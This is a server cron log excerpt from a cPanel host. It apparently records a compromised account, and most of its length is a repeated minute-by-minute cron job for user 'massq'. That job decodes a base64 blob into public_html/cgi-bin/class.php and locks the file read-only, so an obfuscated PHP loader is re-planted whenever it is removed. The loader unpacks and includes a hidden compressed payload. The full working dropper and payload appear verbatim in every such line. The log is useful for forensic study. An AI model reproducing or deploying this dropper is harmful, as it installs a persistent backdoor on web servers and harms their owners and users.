Sep 13 01:29:01 server CROND[26375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:29:01 server CROND[26376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:30:01 server CROND[26801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:30:01 server CROND[26803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:30:01 server CROND[26804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:30:01 server CROND[26805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:30:01 server CROND[26806]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:30:01 server CROND[26807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:30:01 server CROND[26810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:30:01 server CROND[26808]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:31:01 server CROND[27626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:31:01 server CROND[27627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:31:01 server CROND[27628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:32:01 server CROND[28007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:32:01 server CROND[28008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:32:01 server CROND[28009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:33:02 server CROND[28383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:33:02 server CROND[28384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:33:02 server CROND[28385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:34:01 server CROND[28844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:34:01 server CROND[28845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:34:01 server CROND[28846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:35:01 server CROND[29268]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:35:01 server CROND[29272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:35:01 server CROND[29281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:35:01 server CROND[29280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:35:01 server CROND[29278]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 13 01:35:01 server CROND[29282]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:35:01 server CROND[29285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:35:01 server CROND[29284]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:35:01 server CROND[29279]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:36:01 server CROND[30130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:36:01 server CROND[30131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:36:01 server CROND[30132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:37:01 server CROND[30526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:37:01 server CROND[30527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:37:01 server CROND[30528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:38:01 server CROND[30895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:38:01 server CROND[30894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:38:01 server CROND[30896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:39:01 server CROND[31415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:39:01 server CROND[31416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:39:01 server CROND[31417]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 01:39:01 server CROND[31418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:40:01 server CROND[31804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:40:01 server CROND[31805]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:40:01 server CROND[31811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:40:01 server CROND[31812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:40:01 server CROND[31808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:40:01 server CROND[31810]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:40:01 server CROND[31814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; 